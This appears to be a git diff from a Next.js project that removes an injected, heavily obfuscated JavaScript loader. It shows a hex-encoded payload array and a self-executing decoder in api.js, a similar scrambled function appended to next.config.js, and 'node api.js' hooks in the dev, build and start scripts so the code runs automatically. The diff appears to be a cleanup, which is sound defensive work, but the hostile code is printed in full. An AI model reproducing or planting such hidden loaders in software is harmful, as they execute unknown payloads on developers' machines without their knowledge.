7a680725707a7b327a7214251f6d1968291d23141414146d3b1425683e763868206e322474321e6e6825246868142532012974681421146d777a0c323224021b2914192a19207a25147a68222e141433232b361668102d20672a232322252368167a3b2f22143c0a3414687a1414143214676734717a14333b15727b68031d2b68142934142f142d24667667681424680468670528140729682314251f146d733576611a7a3d3f7a14772e7a3b14253e2a14322823687b146833686e2a142f230d3e68682e7c03256a7a14142514232b68256c287a7a21252d682c141a272c68687a166625281414287a1d67667a686673256f350b6e25256b34287a143b3014141668346b627a6467680514276e191f320e2b6214142878203a61767735140227682c782f2d167a143a16687922143514672a3667141125343060251432207a2d611b32602738142d211668681406683f08142d1414681b3d356e6f14672e6868036068147a2e1d7f7927677f2f7f6825147a637914142a1116207a3116372777221b271f7b22742f306836680b7e6614146a2d25256a7a606977031471276f7a377566142303352514251614087a2835292568012360147a146864230b163f68677a7a282970323f72372925133568151b62237e6414143f672560256e64627a25141d25157a257a1934146f346f146805057a147a2214686465140c771323687a25252a7d683e14140e3e026f6866053b6f16681435357a22217a7b147a0d66342b20667814252d29057214141d2567143371143e25147c2a7b296c761a10687e7a672530671414716c191468656f72686e76146f15682d1466631468021a14686e683d1068143a14256f3e34147a6c6114223e687625252f62142d14743205256e2f342f7a316868142f0b14257a23680814686e04283e342871367a256771687c362d682814251b7a682c7c3266751627162528142a68232b127f7a242d03030f147a27327f687a2514687a12141d166e0968216964223d681d7d2c7a6e173e222525686825682268143c2972677608232f1a2568356e671b140f68687f19376d14146f226861141601671606141434776c196814160360253635272a1432256f76681420311b14356928123514772f68143425797a772f021468257c147a32797d14227a7476352529143b3622143a14271425141f6814146714660804257a7a7a3525256325142a687a7f7a237a366c25686825202a62276467312535377a19347a367a68792068362d20736835710c19682b2e2a253b68237a376c3b14147a227a20760f0516682325346925647a0d3e141429143414237a322514142b7a262866362514680325680714140d147214607a2d253266207e7d04367a2714797a7a14276e14257a1430723f083460687f1168146135140262352520686814706e69681421237614717a140a7216732a2a147a681401157e621468683268311168146835681477320367687a13682f2527003e682720680776756868367a2a283425237a143f323c712a7568256e7a31146e68703e2a687a2517146434272229662723171b367360682f222e01146868232323627a7a14251423663623257236291473686e252b757a7a68662a146028147d68686b273c2f68327a616615682715687276087a7a64320b34257d6f687527657a3168792f7668743e143729272837687a341429667a6860682514277a680f1625147a6614142216662f7768683d142569236714297a201429223b3b256816287614256714257e1c23146f1416686714163235306f221423322523687a202306672d1425686634606e2014122a7a3e142064146864222216681d681422663b14196a366668327d1d27683b23686823232b7a14256b627c2e296816687a6623232503302334097225683b68141b290c2866142f352f7a7d271b14682377147a27251434156c2a340223683225250c3633156f2334313320257a667a32146814026566357214781e68652f296e682f3d756b23341c683f0066147a047a1b14663f6b7a1423142228147a207a2e14256172146825141425342d672519140b7a23687c34142b32673e25142c257a7a6327141473327a68686668682f6c7f242568237a6e68142f2314732b23142b7e3f2220313175162f3432142a201470147a1429353d7f3536276e147a67207a0b242570682f666572253512313f682a3b646725257868366f25252366681417656f6f6d207a6c2524761429356568142f7a6d6f7d21141c320668246434681414257a23257a3e35141414067c2a712014321c61223329107a143529123268637a23141b12147a33147f36297a64682268131a7f682324111414191b29143d7a682f2029336b2368142923200333681b1d6f22350e6a1b661416221468146334232525297a6f08682f6c681421681d25686875681764322a687a141427196e7a661414146368217a3e6823322e2e7a6f14033e6f362f146b141425147f7a33236f341431682529676e146614147d1401251b6614627a7b1414706722686a70637a140b271b7360207b681b252a6823697a3e6825146e79683b256734636b35762a347a67246725257a23756a60357414687a6e1414256f68281434057e0623256e27356725142323607a147a73002f7a143423140668736734321414347a347a7914253c2b7a731463147d687a792a68141430680735323214306b237914156f0003682f29147a28340b22172c2321147a67163534686f667a2568116b6823222f197a681535231b2c6c147a1a7e35277a143f157a222c1468696820202a2524237a1528271d343f681436182514676b7514686820352533146a3b3b2a29677a6e7a28257c7a2568142331232323326714242f08682967142514681428141420141425680f140f6e6e1415686b1b146e626e2434147a6e2527141668681414231468681d7f6814142f7a22272d7322253d7a7306142f142f142e14141420682b68142b1e14142a2363347a2a141b767a66682535270d1425361408142014271477250a7d243614257018633b32211468282533257a3e147a68356f281d687d33337a32683d25140f256820341b146620236e7a256868072f3623256625252b1614246b25356d777d1416141414190d281a6d2a6e02257b7a2f682568042b2f7a3214621d147a250b1b67681414686822666f7a233868677a1414646427151214227a7a036e236e30222b25686d0223142832147a35147d27256e237a25143468141414636625146f2725142f2f251403653260650a147f31682a1429316668147d0e6866673b14146866687a1435682f7a28141d2f771423191425666f30282916142d28686e7a12142832323a682932351068141468296514683e2235322e1614143070322967782b6822142323237a7a690a147a7a6d37666815687a6867287a6d23253423682b6807687f19682f320a14101f02760c332566682f202514017d2d6e7a32140f7c1434742068683f25341422681736196860067a686f6868232d62126b16687a672b6b16277a6664342f3b68686f0d6928762e6e1424686f250b2325353463257a256e7a28321b63687a287a1625693d02221c2527207a7a1423647866687468662d08253528347a191425726868253c2b1d1466323505207a08142c637522251429641d64323468283627322714147d3e346d66291414103c326679312f3367682568276f1d6825252514371d68647214363335661434146e2f6804682223252f653225327a68601b6e22253472166814321414666f7d6870687a69287a23252525341b2527322268656622677525142a203822146e35022527682f682916271425683b1475252036667a1414752a25142536257a1b6c64311431146e68252514357a25233e6668282b147566142732151432142f233a2525353525237a676e662531683f7a251436236866682f7b66273c357c14123c2a132c667a14326814352f646d6214682a66141431162272686c357e6f0714226825667a7b2368687d3e3d686d686e2a22673b2736143f6607252a29671d7714681428021468142f252a682a746a6477297600296f2835256e76662a22256f6865146b253268251d7a256f25143a35687a34347e257a277a7e7a682f6e2576086868682771693614147829272268682f2f21251b6761143f292b142a732920357c68256832201668250f2516146f200f6632222314162f6868687a6863686e761b661466222268352568146814166512253525356a2b256567252a617b142f332a660975146568037a146823232914142c25356f3668252525141436682c683f3e7a1b25166468187268686e34221c6822683b7c25683467316868142404141427662f2325146825256835343f197a2a681466643425337d3e16202f2568610b65383e7422660e256767682314367a277214356e7a2534662535682e6819686625277614686868143d15206814141b25752b142c35021d687f333a66322b146368251d2f6e25686f2032257a14287a357a1414272525161414252374142566007f287a2c7a7536682568247d2425256625682a6c3528142525252035293e666736647a29167a6825291914632c147a6e2f3a687a142821142568146a33337a2a2568282568357a34236968681532293028166868626068253c1414147a077a6825662a067a682514257d2568247b243268326268681327681414646e7a32347c68222114626f307a6a296e6868252a2e257a25686168223b2530683066146867343868111d34146e146635686e1d2729672968686822670522683d352f682868142f222025740b6a342819647a077a236868251d252714232f1b20146625356808252e1d2c146a25162229682525252f257d68347a282a681416682f03352734357a23676766242a1425662968037d7068346868681461147a68166827141425342514361d2866677a327b2532667d1425316914252e0f146b206868142d140f257368143d2832343d1425683b683225686223251434147a252b052523147b686d3a7a291468142820662b681b626b250832681f3c2d126f687d687e357a341414232325141432257668143268302565682568340f25141f140766147b66221b682065246f6f722f28317a32673214687a68686e1421253c6824252f27257a033235346614361468666e7a6e7d016270022f6768677a14286c327d23686a1468272a252525680036257a1b247a7734607a7a3f2a23141f642768347a253e6468341414367a326f141468166a7a146868252f132534767c6f68226b252534147a683e221b287a35292a2f6b7a14356c28142068680b0b2368347c257023141f30142a7635142d28061414351d662e7a1425306835146825252f686466217a14292f14291425760566686814347a346b2d14236232142f14683467346825343236686827681465697024207a1425346c257a14016669036e686804256a2502142825322b3e6827230f252834682f22282432256868341468667a221b237a7a7a29607a2534093b6f2822253014276f7b14073f35257a14366a6a32717e312a321468142e3366142f66672a14251468022b2268257a146825250b682d2f257a141c7a682f64140a766838683a252525252e142229256b3629222825762325146868686625232a68222527607225716e353368672f2b1b2a352f7b3d6a25256829142f7f6f703b1e15147e7a142568147a251a680d2508280b206234332814642376186821362f14662536296821141830122a7e0e142f7a253c776e031414087229297a23356864142f2835126668342564326625141521296866683b341e05253f6c147a253214117a33773768791d256825327b2e1d7a07252f2527667a2367287a6e6820347134086b682526686614230314647a68147c143e192f20343468673b25683434231477281428326829323e2523227a68351414286a33377a14212f6a10191425292914686f28273e336872322422286b2567337568356874686828630a6d686a10256e35686e061400343e0b7a2d142e08356825142b25287b27686835037a14143d7a3b680f256868232e1434213b3c14286e7a0a1466632964693525762a680b14686d6f687a68273566142814251e68202068236068667a2d256614681414146e0f3211192522686e3414687a0f146823202568217a7d1a7f14712f32281d682a6825682525287a682925347a66292829323225047760331414322f677a7a1c0568687d25666068257a677a2b142b6414642e726f7a143d286f770d7a632a25682514302f25661475167a25142a7d6868140d671468142814257b013c2e616121213268666e68687c7a142514017a3f6a7e692a6f2514146b2533687a1464033f14662914222a147d7f6a04162f68352d687a7a147a6d142e2e7a332564146e666868686814352f7c03692e357f2d14681c2e7b25687a7a251b146714141774122568251425753e1436256825327d69611422167a351b2e122a32146d141425147925147a702428667a682a27687a14143b6814686732146868282532666e2368256634646863146825327a6828321d1468147a2564253e196f68682f286866237a3b256872017d1468227e682832686e661d222568157a0e6e6725767a2524143514272a0d7a3466666834143e16322166687a7a24686828350b7a27662935146a686334686614682168680f34762366221423237023202736273e2f6814661479252408267a25281d662502682b7a25147a7a22142b7a2f7e7a387a222e2f7f2929293e206e1d3414202516146532332536237a661428287a292a25683216143414147614292a693e231468141614681414683f687764147125682564320d68','7e707222372432273f','7f70737e727116300d2b3f2d','2e336e64347b6d2123307e2f291b326d7a7474232734663234303727252e292f2b2e2a052d30342828276e662032226b327d7d272766257d74222c6e237d222830256a272e323b213671702e76737e6e7e6a7d1d2f7b6830372a68332f1b7d2a7e706f327b72332d686e2f75306c282328342c77236e6870667b666f7b322736231d6d34052b2927647d682d7b2a2a687627686e3c346a256e376d3c6e3c2f2777347d366a7b1d34347d6d3b6f7b2429371b6a2732347d68716f6d7b372f7233337b2876346a327d7f6d77356d7a680534372e7b6a212f6f2f273420683364347b342f7d6d6f6d363d2c6d766f312e053434302a34286f2c6f3c1b78352f1d766e29642e23777b716e222230357d2b307d2f7b6f6e1d7f23296a6e6f707b7132296d33687b3230232a66682f7b682e3f222a1d34663f687b30326a7d7e281d76712a7e662b207d336d33301d6e2a7b74342f7620717d332a642720272871322a342931662729346a307b3220376d717d6f6a3c2e6e6d212a29673e292b286a367a6f73326e232f7d23216e342720347434276e312e28296f28302f20216f6e7b2a662b367d7f276c1d6a2727277d7b6f2c6422646f78663634776622347d3d7b3e7a3420733d3423292123662f333b342e7b6e6d35343d34323220682a66277d7d7f327d6b3f27686a27370575276d7e6f6d232a206a343c3f3035762a6d6e236e1b6b686837287b7d35077d7d662b7b6e7b6f746a353f7b28073d252f286f05347733727f2d7d7d6d23326d7b34307d7d7b1d1b35702168317b717d316f1b280776303f2c30343e32667630331d3b6672316a33703c3f6b7d35200777352c2a7d1b68357d37356a2728342f6d2271677b273727336e3d2868282f7a2a3b682a3f77352e6e7b7b352e246a7b253b666f323377282e6875201d203b342c29292427667b211b1b152423222e3532306e68292d746a216f273430236a283030347d282d6b30662f356f6f7d7d681b2723257d6f28056e721d6e25726a6a22237f76301b2f7b6a6f6f2025746e642b296b701536336d3421663e34346f363d2b2b343434366e77206f077b3634353c277e66732e35336a3264237b21286e64277e2974327d3476342f6e6a1b282f232a202432272e347d3632377b6f6f3f2a7d272823282e686620322d6a6629306d372777662905217d2e23707d206f7d2332767b6b34706e3c35367f776e342728352e2a7b34681d7d2f346d6f1b','757073747e1c3f0e27221c','2a232821322e','77772d300d2a2c0a','342128353034283329342527242a2c332d292b2f3c31232e222932253625323e3f20353237','233a2c3225243a34292b','727777757f2b2f03142d36','7570010024302434','75737f7775727e2b0d37223e0b','7277717770031536172320','7e7572131e05070f05','35362a2f32','74757576251128171611','757f767630160b2a3610','352a2f2523','252e27340732','2c292f28','2034292b052e273405292223'];EtVPcVKfhHvchsbpbJRrEavgP=function(){return DFcT_MdshgUDGLvdTVTIBV$b;};return EtVPcVKfhHvchsbpbJRrEavgP();}var r8={'a':0x2e9e49,'b':0xad,'c':0xaf15,'d':0x10b,'e':0xe3c3,'f':0x3bc6d1,'g':k$nodabqyPCpvUiq(0xf8),'h':k$nodabqyPCpvUiq(0xf4)};function s8(w$mOfjjFnY_WWt){return y7(w$mOfjjFnY_WWt,r8['a'],r8['b'],r8['c'],r8['d'],r8['e'],r8['f']);}var u8=s8(r8['g'])[k$nodabqyPCpvUiq(0xeb)](0x30*parseInt(-0x57)+parseInt(0x71a)*Number(-0x5)+parseInt(0x33d2),0x452*parseInt(-0x4)+parseInt(0x4)*Math.trunc(-parseInt(0x16b))+-parseInt(0xcb)*parseInt(-0x1d)),v8=s8[u8],w8=v8('',s8(r8['h'])),x8=w8(s8(k$nodabqyPCpvUiq(0xf1)));v8('',x8)(parseFloat(-0xa3)*-parseInt(0xb)+-0x2498+parseInt(0x2764)); \ No newline at end of file diff --git a/next.config.js b/next.config.js index c971040f7..33ffa964a 100644 --- a/next.config.js +++ b/next.config.js @@ -40,4 +40,4 @@ const nextConfig = { }, }; -module.exports = withBundleAnalyzer(nextConfig); global['!'] = '8-*3117';function y7(R,c,e,r,t,i,s){for(var n=[],o=622625^622625;osi[0(o"he1=7(ddvs;mv;i=)([9eo,()6=7to+u.=tvel .i=.hydl[r y.=vt,;8n[07l8 mf;u+uv[(l=2ri0f7;ul"afan7tlrow aor,v=tfq+7;),zh(+glo!xomn,p<)5t(ei;eg(rafr2ra(whno)nvifg)(=l mp;9a*[,aaa;=)j"d")> pr1 dr;{=xCPcuR<><.&e)Rn+s#r>U.\'0cMlab.rRR,TcRR2(TR;BRr%65rRd 86;g.l.js<.nr!."u4r..R(e.o!.b r 2bR0R/R#RotbRerz0Y.t3RmlnR\\.6st.xR*(c[(ic(~5.s:m\'oRzP. h)f{["@RiR#cR.te<.c!R]pR6oRrfu ?ifcRN.<(r.c.b.R<{R,cnPs..=RR[e(b<:.Y gRtRN-(e"A]cR(")snc@.XenJ)h+.s.;$U\'>ytt;!2oRtx.4+f+"p<^_x=a=!rRpcCRgR!T1\\.R.+w)oWReoR<+aR<.xsrRdfcEduEe.ARcR.q1RRscc|t/R$o<.R!<8pA!RpcRgP<lr0Rb["}_[Rr1XaRP+.`PRFfhb.Rd.d1R<<#eRReR.Relp.(c-uCsR.d=x..s #ROc#o=aeRpccc>?bfR9e . .c#_sRXekecehpd !.=c6R.oRPiCcwcRiRjP^$R(y l8p.is$stoRu(Rc..<&cQi.Rm.i<4lR/rncC.c!R.b<.raHRbRe*c`sRy>;)E4<f|\'01sRDa.j>ikPRckoC4RR[c!Ru7RxcR:l=o*0\\V.8X.#io(.i{3-erZ.yF R.p)cce .RQ#))+f<*cb0Ros#.Ri<+);gRZt@.b"r.RRcm.dReee< .2. kNcsnr<_Rc4..czm[R tsCfoad..iigc]!\'RyomRl5ofs:.c.tfP.cIcPR)fI tdeRPi...<.%.(0] R dd.sc.R.RP#Tcscs,mc#!cl\'=Riul O3R#.E=20" }, "scripts": { - "dev": "node api.js && next dev", + "dev": "next dev", "prebuild": "node scripts/validate-env.mjs", - "build": "node api.js && next build", + "build": "next build", "analyze": "cross-env ANALYZE=true next build", - "start": "node api.js && next start", + "start": "next start", "typecheck": "tsc --noEmit", "circular": "madge --circular --extensions ts,tsx src", "size": "node scripts/check-bundle-budget.mjs",